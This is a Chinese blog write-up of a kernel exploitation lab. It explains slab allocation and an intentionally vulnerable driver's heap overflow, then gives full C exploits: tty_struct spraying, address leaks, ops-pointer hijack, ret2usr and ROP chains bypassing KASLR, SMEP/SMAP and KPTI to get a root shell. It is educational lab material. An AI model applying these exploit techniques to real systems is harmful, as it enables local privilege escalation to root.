• Linux内核之堆溢出的利用

    前言

    用户进程会通过malloc等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。

    内核中的内存分配

    有两种类型的计算机并且使用不同的方法管理物理内存

    • • UMA计算机：每个处理器访问内存的速度一直

    • • NUMA计算机：每个处理器访问自己的本地内存速度较快，但是访问其他处理器的本地内存会相对较慢

    图片

    首先将内存划为为结点，每个结点与一个处理器进行关联，因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t结构体进行表示。并且结点与结点之间是通过链表进行链接的。

    结点进一步划分为多个域，域使用zone_type枚举类型表示。

    图片

     

    域进一步细化为页为单位的内存进行划分。页则使用page数据结构进行表示。

    图片

    虽然内核中使用了伙伴算法对页框进行管理，但是由于页的单位一般是4096，倘若只想申请部分内存，但是直接分配一页的大小会浪费资源。因此内核使用了slab分配器进行小内存的分配。

    图片来自https://blog-wohin-me.translate.goog/posts/pawnyable-0202/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl，`slab`大致流程如下。

    图片

    slab不仅仅是作为分配器还有缓存的功能，因此在使用kmalloc时会首先检索kmem_cache是否存在空闲的内存，这一点与用户态下的ptmalloc很相似。

    LK01-2

    项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2

    module_open

    在执行open模块时会使用kmalloc进行动态内存分配，因此会使用到上述所说的slab分配器。

    1. static int module_open(struct inode *inode, struct file *file)
    2. {
    3.   printk(KERN_INFO "module_open called\n");
    4.  
    5.   g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
    6.   if (!g_buf) {
    7.     printk(KERN_INFO "kmalloc failed");
    8.     return -ENOMEM;
    9.   }
    10.  
    11.   return 0;
    12. }

    module_read

    在执行read模块时会从内核堆地址中拷贝信息到用户空间中去，但是这里的拷贝没有对长度做限制，因此存在着越界读的漏洞。

    1. static ssize_t module_read(struct file *file,
    2.                            char __user *buf, size_t count,
    3.                            loff_t *f_pos)
    4. {
    5.   printk(KERN_INFO "module_read called\n");
    6.  
    7.   if (copy_to_user(buf, g_buf, count)) {
    8.     printk(KERN_INFO "copy_to_user failed\n");
    9.     return -EINVAL;
    10.   }
    11.  
    12.   return count;
    13. }

    module_write

    在执行write模块时会将用户空间的数据拷贝到内核堆空间中，由于没有做长度的限制，因此存在着内核堆溢出的漏洞。

    1. static ssize_t module_write(struct file *file,
    2.                             const char __user *buf, size_t count,
    3.                             loff_t *f_pos)
    4. {
    5.   printk(KERN_INFO "module_write called\n");
    6.  
    7.   if (copy_from_user(g_buf, buf, count)) {
    8.     printk(KERN_INFO "copy_from_user failed\n");
    9.     return -EINVAL;
    10.   }
    11.  
    12.   return count;
    13. }

    堆溢出的利用

    由于内核分配动态内存是通过slab分配器，slab分配器会优先从缓存中取出，题目给会通过open模块分配一个0x400的堆块。因此会从kmalloc-1024中取出堆块。可以看到0x400的堆块能够写入超过0x400的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。

    图片

    因此如果需要劫持程序的执行流程，则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配，而且这些结构体需要经常创建与释放，因此这些结构体也会通过kmalloc-1024中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct 的结构体的大小刚好处于kmalloc-1024的范围内。

    1. struct tty_struct {
    2.     int magic;
    3.     struct kref kref;
    4.     struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
    5.     struct tty_driver *driver;
    6.     const struct tty_operations *ops;
    7.     ...
    8. } __randomize_layout;

    可以看到tty_struct结构体会存在ops的操作指针，对tty的操作都会调用该函数指针。

    https://ptr--yudai-hatenablog-com.translate.goog/entry/2020/03/16/165628?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN中统计了一下常用的结构体。

    由于我们不清楚在执行open模块的时候分配的堆块是否会在tty结构体的上方，因此需要使用堆喷将tty结构体充满在open模块申请的堆块的附近。

    1.     int spray[100];
    2.     for (int i = 0; i < 50; i++)
    3.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    4.     int fd = open("/dev/holstein", O_RDWR);
    5.     for (int i = 50; i < 100; i++)
    6.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    • • ptmx文件是用于打开伪终端主设备文件，该文件则是通过上述的tty结构体进行表示

    • • O_NOCTTY则是用于防止当前进程将打开的终端设备作为其控制终端

    对过上述操作在能使得open模块操作分配的堆空间是在tty结构体所分配的空间的周围的。如下图所示能够看到将tty结构体分配在g_buf（open模块分配的堆块）的下方

    图片

    该操作指针中存放着许多函数地址

    图片

    将该结构体覆盖为无效值

    图片

    通过ioctl操作触发函数指针

    ioctl(spray[i], 0x1234, 0x1234);

    ioctl 是一个用于在Linux系统中进行设备控制和配置的系统调用，它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl函数实际是会调用ops指向的函数表。但是接着执行内核并不会发生崩溃，这里我猜测是在ioctl函数执行流程中会检测ops指针的有效性。

    但是单单修改函数表内的函数地址，则会引起崩溃。

    图片

    崩溃地址正是我们修改的值。

    图片

    因此梳理一下针对该题堆溢出利用的条件

    1. 1. 利用堆喷使得漏洞堆块处于tty结构体堆块的上方

    2. 2. 利用堆溢出将ops指针修改为可控的内核堆地址并在该地址中填充函数地址

    没有开启保护

    经过测试，在没有开启kaslr的情况下g_buf对应的堆地址也是会改变的，因此需要进行泄露计算出g_buf的地址。由于g_buf处于内核地址，因此可以触发ioctl，这里我使用了用户空间的堆块地址，但是无法触发，因此猜测ioctl需要检验ops指针值是否为内核地址。

    并且在tty结构体中存储了堆块的地址，因此可以通过越界读泄露堆地址。

    图片

    通过read模块泄露堆地址

    1. ...
    2.     char buf[0x500];
    3.     read(fd, buf, 0x500);
    4.     unsigned long * p = (unsigned long *)&buf;
    5.     for (int i = 0; i < 0xa0; i++)
    6.         printf("[0x%x] 0x%lx\n",i ,p[i]);
    7. ...

    这里需要注意的是我们尽可能选择与g_buf地址相近的堆地址，因为slab分配器会分配连续的内存，因此在附近的地址可以计算出真正的偏移。

    图片

    泄露出堆地址后还需要解决一个问题是ioctl函数会执行函数表的哪个函数指针，因此我们需要劫持ops指针为g_buf，然后在g_buf填充有规律的垃圾数据，判断函数指针的位置。

    1.     ...
    2.     unsigned long heap = p[0x9f];
    3.     printf("heap:0x%lx\n", heap);
    4.     unsigned long g_buf = heap - 0x4f8 ;
    5.     printf("g_buf:0x%lx\n", g_buf);
    6.     for (unsigned long i = 0; i < 0x80; i++)
    7.         p[i] = i;
    8.     *(unsigned long *)&buf[0x418] = g_buf;
    9.     write(fd, buf, 0x500);
    10.     for (int i = 0; i < 100; i++) {
    11.        ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    12.     }  
    13.     ...

    可以看到在函数表中的偏移为0xc，该地址填充的值会被用作处理ioctl函数的操作。

    图片

    由于题目没有开启任何保护，接下来就是ret2usr即可

    run.sh

    1. #!/bin/sh
    2. qemu-system-x86_64 \
    3.     -m 64M \
    4.     -nographic \
    5.     -kernel bzImage \
    6.     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \
    7.     -no-reboot \
    8.     -cpu qemu64 \
    9.     -smp 1 \
    10.     -monitor /dev/null \
    11.     -initrd initramfs.cpio.gz\
    12.     -net nic,model=virtio \
    13.     -net user \
    14.     -s

    exp

    这里需要对所有伪终端执行ioctl操作，这是因为我们不能判断具体覆盖了哪个tty的结构体。

    1. #include <stdio.h>
    2. #include <ctype.h>
    3. #include <fcntl.h>
    4. #include <unistd.h>
    5. #include <sys/stat.h>
    6. #include <string.h>
    7. #include <stdlib.h>
    8.  
    9. /*
    10. 0xffffffff81074650 T prepare_kernel_cred
    11. 0xffffffff810744b0 T commit_creds
    12. */
    13.  
    14. unsigned long user_cs, user_sp, user_ss, user_rflags;
    15. void save_user_land()
    16. {
    17.     __asm__(
    18.         ".intel_syntax noprefix;"
    19.         "mov user_cs, cs;"
    20.         "mov user_sp, rsp;"
    21.         "mov user_ss, ss;"
    22.         "pushf;"
    23.         "pop user_rflags;"
    24.         ".att_syntax;"
    25.     );
    26.     puts("[*] Saved userland registers");
    27.     printf("[#] cs: 0x%lx \n", user_cs);
    28.     printf("[#] ss: 0x%lx \n", user_ss);
    29.     printf("[#] rsp: 0x%lx \n", user_sp);
    30.     printf("[#] rflags: 0x%lx \n\n", user_rflags);
    31. }
    32.  
    33.  
    34. void backdoor()
    35. {
    36.     printf("****getshell****");
    37.     system("id");
    38.     system("/bin/sh");
    39. }
    40.  
    41. unsigned long user_rip = (unsigned long)backdoor;
    42.  
    43. void lpe()
    44. {
    45.     __asm(
    46.         ".intel_syntax noprefix;"
    47.         "movabs rax, 0xffffffff81074650;" //prepare_kernel_cred
    48.         "xor rdi, rdi;"
    49.         "call rax;" //prepare_kernel_cred(0);
    50.         "mov rdi, rax;"
    51.         "mov rax, 0xffffffff810744b0;" //commit_creds
    52.         "call rax;"
    53.         "swapgs;" 
    54.         "mov r15, user_ss;"
    55.         "push r15;"
    56.         "mov r15, user_sp;"
    57.         "push r15;"
    58.         "mov r15, user_rflags;"
    59.         "push r15;"
    60.         "mov r15, user_cs;"
    61.         "push r15;"
    62.         "mov r15, user_rip;"
    63.         "push r15;"
    64.         "iretq;"
    65.         ".att_syntax;"
    66.     );
    67. }
    68.  
    69.  
    70. int main() {
    71.     save_user_land();
    72.     int spray[100];
    73.     for (int i = 0; i < 50; i++)
    74.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    75.     int fd = open("/dev/holstein", O_RDWR);
    76.     for (int i = 50; i < 100; i++)
    77.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    78.     char buf[0x500];
    79.     read(fd, buf, 0x500);
    80.     unsigned long * p = (unsigned long *)&buf;
    81.     //for (int i = 0; i < 0xa0; i++)
    82.     //printf("[0x%x] 0x%lx\n",i ,p[i]);
    83.     unsigned long heap = p[0x9f];
    84.     printf("heap:0x%lx\n", heap);
    85.     unsigned long g_buf = heap - 0x4f8 ;
    86.     printf("g_buf:0x%lx\n", g_buf);
    87.     p[0xc] = lpe;
    88.     *(unsigned long *)&buf[0x418] = g_buf;
    89.     write(fd, buf, 0x500);
    90.     for (int i = 0; i < 100; i++) {
    91.        ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    92.     }        
    93. }

    开启KASLR

    run.sh

    1. #!/bin/sh
    2. qemu-system-x86_64 \
    3.     -m 64M \
    4.     -nographic \
    5.     -kernel bzImage \
    6.     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \
    7.     -no-reboot \
    8.     -cpu qemu64 \
    9.     -smp 1 \
    10.     -monitor /dev/null \
    11.     -initrd initramfs.cpio.gz\
    12.     -net nic,model=virtio \
    13.     -net user \
    14.     -s

    exp

    开启KASLR的解法与没开启保护的情况基本一致，只需要多泄露一个内核地址即可。

    1. #include <stdio.h>
    2. #include <ctype.h>
    3. #include <fcntl.h>
    4. #include <unistd.h>
    5. #include <sys/stat.h>
    6. #include <string.h>
    7. #include <stdlib.h>
    8.  
    9.  
    10. #define prepare_kernel_cred_offset 0x74650
    11. #define commit_creds_offset 0x744b0
    12.  
    13. unsigned long kernel_base;
    14. unsigned long prepare_kernel_cred;
    15. unsigned long commit_creds;
    16.  
    17. unsigned long user_cs, user_sp, user_ss, user_rflags;
    18. void save_user_land()
    19. {
    20.     __asm__(
    21.         ".intel_syntax noprefix;"
    22.         "mov user_cs, cs;"
    23.         "mov user_sp, rsp;"
    24.         "mov user_ss, ss;"
    25.         "pushf;"
    26.         "pop user_rflags;"
    27.         ".att_syntax;"
    28.     );
    29.     puts("[*] Saved userland registers");
    30.     printf("[#] cs: 0x%lx \n", user_cs);
    31.     printf("[#] ss: 0x%lx \n", user_ss);
    32.     printf("[#] rsp: 0x%lx \n", user_sp);
    33.     printf("[#] rflags: 0x%lx \n\n", user_rflags);
    34. }
    35.  
    36.  
    37. void backdoor()
    38. {
    39.     printf("****getshell****");
    40.     system("id");
    41.     system("/bin/sh");
    42. }
    43.  
    44. unsigned long user_rip = (unsigned long)backdoor;
    45.  
    46. void lpe()
    47. {
    48.     prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset;
    49.     commit_creds = kernel_base + commit_creds_offset;
    50.     __asm(
    51.         ".intel_syntax noprefix;"
    52.         "movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
    53.         "xor rdi, rdi;"
    54.         "call rax;" //prepare_kernel_cred(0);
    55.         "mov rdi, rax;"
    56.         "mov rax, commit_creds;" //commit_creds
    57.         "call rax;"
    58.         "swapgs;" 
    59.         "mov r15, user_ss;"
    60.         "push r15;"
    61.         "mov r15, user_sp;"
    62.         "push r15;"
    63.         "mov r15, user_rflags;"
    64.         "push r15;"
    65.         "mov r15, user_cs;"
    66.         "push r15;"
    67.         "mov r15, user_rip;"
    68.         "push r15;"
    69.         "iretq;"
    70.         ".att_syntax;"
    71.     );
    72. }
    73.  
    74.  
    75. int main() {
    76.     save_user_land();
    77.     int spray[100];
    78.     for (int i = 0; i < 50; i++)
    79.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    80.     int fd = open("/dev/holstein", O_RDWR);
    81.     for (int i = 50; i < 100; i++)
    82.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    83.     char buf[0x500];
    84.     read(fd, buf, 0x500);
    85.     unsigned long * p = (unsigned long *)&buf;
    86.     //for (int i = 0; i < 0xa0; i++)
    87.     // printf("[0x%x] 0x%lx\n",i ,p[i]);
    88.     unsigned long heap = p[0x9f];
    89.     printf("heap:0x%lx\n", heap);
    90.     unsigned long g_buf = heap - 0x4f8 ;
    91.     printf("g_buf:0x%lx\n", g_buf);
    92.     unsigned long kernel_addr = p[0x83];
    93.     printf("kernel_addr:0x%lx\n", kernel_addr);
    94.     kernel_base = kernel_addr - 0xc38880;
    95.     printf("kernel_base:0x%lx\n", kernel_base);
    96.     p[0xc] = lpe;
    97.     *(unsigned long *)&buf[0x418] = g_buf;
    98.     write(fd, buf, 0x500);
    99.     for (int i = 0; i < 100; i++) {
    100.        ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    101.     }       
    102. }

    开启SMAP与SMEP

    SMAP与SMEP会防止内核访问与执行用户空间的地址，但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链，那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上，而是在堆上，无法通过pop rbp;ret;与mov rsp,rbp去修改栈顶值。这里需要注意到，当通过ioctl函数时，我们的参数值实际也会被传递进去。如下图所示。

    图片

    image-20230908134614606

    因此需要通过根据这几个寄存器修改栈顶的操作

    cat g | grep -E "push rdx;.* pop rsp;.* ret"

    图片

    image-20230908135835922

    该gadget可以将rax的值移动到rdi的值，但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;，该汇编语言实际是循环将rsi指向的值存放到rdi中，并且循环此为由rcx寄存器指定，因此将rcx寄存器设置为0即可跳过该操作。

    图片

    run.sh

    1. #!/bin/sh
    2. qemu-system-x86_64 \
    3.     -m 64M \
    4.     -nographic \
    5.     -kernel bzImage \
    6.     -append "console=ttyS0 loglevel=3 oops=panic panic=-1  nopti kaslr" \
    7.     -no-reboot \
    8.     -cpu qemu64,+smap,+smep \
    9.     -smp 1 \
    10.     -monitor /dev/null \
    11.     -initrd initramfs.cpio.gz\
    12.     -net nic,model=virtio \
    13.     -net user \
    14.     -s

    exp

    1. #include <stdio.h>
    2. #include <ctype.h>
    3. #include <fcntl.h>
    4. #include <unistd.h>
    5. #include <sys/stat.h>
    6. #include <string.h>
    7. #include <stdlib.h>
    8.  
    9. /*
    10. 0xffffffff810d748d: pop rdi; ret; 
    11. 0xffffffff81022dff: iretq; pop rbp; ret;
    12. 0xffffffff8162668e: swapgs; ret;
    13. 0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
    14. 0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
    15. 0xffffffff8109c39e: pop rsi; ret;
    16. 0xffffffff8113c1c4: pop rcx; ret;
    17. */
    18.  
    19. #define prepare_kernel_cred_offset 0x74650
    20. #define commit_creds_offset 0x744b0
    21. #define pop_rdi_offset 0xd748d
    22. #define iretq_pop_rbp_offset 0x22dff
    23. #define push_rax_ret_offset 0x24819 
    24. #define push_rdx_pop_rsp_ret_offset 0x3a478a
    25. #define mov_rdi_rax_ret_offset 0x62707b
    26. #define swapgs 0x62668e
    27. #define pop_rsi 0x9c39e
    28. #define pop_rcx 0x13c1c4
    29.  
    30. unsigned long kernel_base;
    31. unsigned long prepare_kernel_cred;
    32. unsigned long commit_creds;
    33. unsigned long user_cs, user_sp, user_ss, user_rflags;
    34.  
    35. void save_user_land()
    36. {
    37.     __asm__(
    38.         ".intel_syntax noprefix;"
    39.         "mov user_cs, cs;"
    40.         "mov user_sp, rsp;"
    41.         "mov user_ss, ss;"
    42.         "pushf;"
    43.         "pop user_rflags;"
    44.         ".att_syntax;"
    45.     );
    46.     puts("[*] Saved userland registers");
    47.     printf("[#] cs: 0x%lx \n", user_cs);
    48.     printf("[#] ss: 0x%lx \n", user_ss);
    49.     printf("[#] rsp: 0x%lx \n", user_sp);
    50.     printf("[#] rflags: 0x%lx \n\n", user_rflags);
    51. }
    52.  
    53.  
    54. void backdoor()
    55. {
    56.     printf("****getshell****");
    57.     system("id");
    58.     system("/bin/sh");
    59. }
    60.  
    61.  
    62. int main() {
    63.     save_user_land();
    64.     int spray[100];
    65.     for (int i = 0; i < 50; i++)
    66.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    67.     int fd = open("/dev/holstein", O_RDWR);
    68.     for (int i = 50; i < 100; i++)
    69.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    70.     char buf[0x500];
    71.     read(fd, buf, 0x500);
    72.     unsigned long * p = (unsigned long *)&buf;
    73.     //for (int i = 0; i < 0xa0; i++)
    74.     // printf("[0x%x] 0x%lx\n",i ,p[i]);
    75.     unsigned long heap = p[0x9f];
    76.     printf("heap:0x%lx\n", heap);
    77.     unsigned long g_buf = heap - 0x4f8 ;
    78.     printf("g_buf:0x%lx\n", g_buf);
    79.     unsigned long kernel_addr = p[0x83];
    80.     printf("kernel_addr:0x%lx\n", kernel_addr);
    81.     kernel_base = kernel_addr - 0xc38880;
    82.     printf("kernel_base:0x%lx\n", kernel_base);
    83.     p[0x22] = pop_rdi_offset + kernel_base;
    84.     p[0x23] = 0;
    85.     p[0x24] = prepare_kernel_cred_offset + kernel_base;
    86.     p[0x25] = pop_rcx + kernel_base;
    87.     p[0x26] = 0;
    88.     p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
    89.     p[0x28] = commit_creds_offset + kernel_base;
    90.     p[0x29] = swapgs + kernel_base;
    91.     p[0x2a] = iretq_pop_rbp_offset + kernel_base;
    92.     p[0x2b] = (unsigned long)backdoor;
    93.     p[0x2c] = user_cs;
    94.     p[0x2d] = user_rflags;
    95.     p[0x2e] = user_sp;
    96.     p[0x2f] = user_ss;    
    97.     *(unsigned long *)&buf[0x418] = g_buf;
    98.     p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
    99.     write(fd, buf, 0x500);
    100.     for (int i = 0; i < 100; i++) {
    101.        ioctl(spray[i], g_buf+0x100, g_buf+0x100);
    102.     }       
    103. }

    开启kpti

    run.sh

    1. #!/bin/sh
    2. qemu-system-x86_64 \
    3.     -m 64M \
    4.     -nographic \
    5.     -kernel bzImage \
    6.     -append "console=ttyS0 loglevel=3 oops=panic panic=-1  kpti=1  kaslr" \
    7.     -no-reboot \
    8.     -cpu qemu64,+smap,+smep \
    9.     -smp 1 \
    10.     -monitor /dev/null \
    11.     -initrd initramfs.cpio.gz\
    12.     -net nic,model=virtio \
    13.     -net user \
    14.     -s

    exp

    kpti的绕过也与普通的一致，使用swapgs_restore_regs_and_return_to_usermode的gadget即可

    1. #include <stdio.h>
    2. #include <ctype.h>
    3. #include <fcntl.h>
    4. #include <unistd.h>
    5. #include <sys/stat.h>
    6. #include <string.h>
    7. #include <stdlib.h>
    8.  
    9. /*
    10. 0xffffffff810d748d: pop rdi; ret; 
    11. 0xffffffff81022dff: iretq; pop rbp; ret;
    12. 0xffffffff8162668e: swapgs; ret;
    13. 0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
    14. 0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
    15. 0xffffffff8109c39e: pop rsi; ret;
    16. 0xffffffff8113c1c4: pop rcx; ret;
    17. 0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
    18. */
    19.  
    20. #define prepare_kernel_cred_offset 0x74650
    21. #define commit_creds_offset 0x744b0
    22. #define pop_rdi_offset 0xd748d
    23. #define iretq_pop_rbp_offset 0x22dff
    24. #define push_rax_ret_offset 0x24819 
    25. #define push_rdx_pop_rsp_ret_offset 0x3a478a
    26. #define mov_rdi_rax_ret_offset 0x62707b
    27. #define swapgs 0x62668e
    28. #define pop_rsi 0x9c39e
    29. #define pop_rcx 0x13c1c4
    30. #define swapgs_restore_regs_and_return_to_usermode 0x800e10
    31.  
    32. unsigned long kernel_base;
    33. unsigned long prepare_kernel_cred;
    34. unsigned long commit_creds;
    35. unsigned long user_cs, user_sp, user_ss, user_rflags;
    36.  
    37. void save_user_land()
    38. {
    39.     __asm__(
    40.         ".intel_syntax noprefix;"
    41.         "mov user_cs, cs;"
    42.         "mov user_sp, rsp;"
    43.         "mov user_ss, ss;"
    44.         "pushf;"
    45.         "pop user_rflags;"
    46.         ".att_syntax;"
    47.     );
    48.     puts("[*] Saved userland registers");
    49.     printf("[#] cs: 0x%lx \n", user_cs);
    50.     printf("[#] ss: 0x%lx \n", user_ss);
    51.     printf("[#] rsp: 0x%lx \n", user_sp);
    52.     printf("[#] rflags: 0x%lx \n\n", user_rflags);
    53. }
    54.  
    55.  
    56. void backdoor()
    57. {
    58.     printf("****getshell****");
    59.     system("id");
    60.     system("/bin/sh");
    61. }
    62.  
    63.  
    64. int main() {
    65.     save_user_land();
    66.     int spray[100];
    67.     for (int i = 0; i < 50; i++)
    68.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    69.     int fd = open("/dev/holstein", O_RDWR);
    70.     for (int i = 50; i < 100; i++)
    71.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    72.     char buf[0x500];
    73.     read(fd, buf, 0x500);
    74.     unsigned long * p = (unsigned long *)&buf;
    75.     //for (int i = 0; i < 0xa0; i++)
    76.     // printf("[0x%x] 0x%lx\n",i ,p[i]);
    77.     unsigned long heap = p[0x9f];
    78.     printf("heap:0x%lx\n", heap);
    79.     unsigned long g_buf = heap - 0x4f8 ;
    80.     printf("g_buf:0x%lx\n", g_buf);
    81.     unsigned long kernel_addr = p[0x83];
    82.     printf("kernel_addr:0x%lx\n", kernel_addr);
    83.     kernel_base = kernel_addr - 0xc38880;
    84.     printf("kernel_base:0x%lx\n", kernel_base);
    85.     p[0x22] = pop_rdi_offset + kernel_base;
    86.     p[0x23] = 0;
    87.     p[0x24] = prepare_kernel_cred_offset + kernel_base;
    88.     p[0x25] = pop_rcx + kernel_base;
    89.     p[0x26] = 0;
    90.     p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
    91.     p[0x28] = commit_creds_offset + kernel_base;
    92.     p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;
    93.     p[0x2a] = 0;
    94.     p[0x2b] = 0;
    95.     p[0x2c] = (unsigned long)backdoor;
    96.     p[0x2d] = user_cs;
    97.     p[0x2e] = user_rflags;
    98.     p[0x2f] = user_sp;
    99.     p[0x30] = user_ss;    
    100.     *(unsigned long *)&buf[0x418] = g_buf;
    101.     p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
    102.     write(fd, buf, 0x500);
    103.     for (int i = 0; i < 100; i++) {
    104.        ioctl(spray[i], g_buf+0x100, g_buf+0x100);
    105.     }       
    106. }
  • 相关阅读:
    JavaScript 语法基础
    Stream 流式编程：并行流
    Windows下如何编译FFmpeg
    Hive知识梳理(好文)
    [oeasy]python0022_ python虚拟机_反编译_cpu架构_二进制字节码_汇编语言
    OSPF的防止环路的机制
    基于OSATE环境的AADL项目——简单的项目构建与分析示例
    数据分析之pandas入门读书笔记
    串口通信
    驾驭Scala的网络之力：HTTP客户端与服务器实战指南
  • 原文地址：https://blog.csdn.net/YJ_12340/article/details/132886448